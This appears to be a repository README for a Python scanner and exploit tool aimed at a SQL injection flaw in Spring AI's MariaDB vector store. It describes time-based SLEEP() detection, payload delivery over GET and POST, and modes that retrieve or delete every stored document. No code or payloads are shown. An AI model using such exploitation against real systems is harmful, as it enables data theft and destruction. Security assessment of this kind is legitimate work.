CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection

A professional security assessment tool for CVE-2026-22730 – a critical SQL injection vulnerability discovered in Spring AI's MariaDB vector store. This tool allows authorised penetration testers and security researchers to detect and safely exploit the vulnerability for educational or defensive purposes.

📖 Overview

CVE-2026-22730 affects Spring AI versions 1.0.x < 1.0.4 and 1.1.x < 1.1.3 when using the MariaDB vector store. Due to improper escaping of string values in filter expressions, an attacker can inject arbitrary SQL through user‑controlled parameters (e.g., metadata filters). This can lead to:

Unauthorised data retrieval – bypassing metadata‑based access controls

Full database deletion – wiping the entire vector store (destructive)

Silent data leakage – in RAG pipelines, leaked data is incorporated into LLM responses without detection

This tool provides a safe, configurable method to verify the presence of the vulnerability and demonstrate its impact (with explicit consent) during authorised security assessments.

🚀 Features

✅ Time‑based detection – uses SLEEP() injection to confirm vulnerability

✅ Multiple HTTP methods – supports GET (query parameters) and POST (JSON body)

✅ Custom sleep duration – adjust for network latency or stealth requirements

✅ Exploitation options – retrieve all documents (SELECT) or delete all (DELETE)

✅ Comprehensive reporting – generates HTML, JSON, and plain‑text reports

✅ User‑friendly CLI – interactive mode and full command‑line arguments

✅ Extensible payload system – easily integrate custom injection strings

📋 Requirements

Python 3.6 or higher

requests library (pip install requests)

CVE-2026-22730-Scanner

Most Popular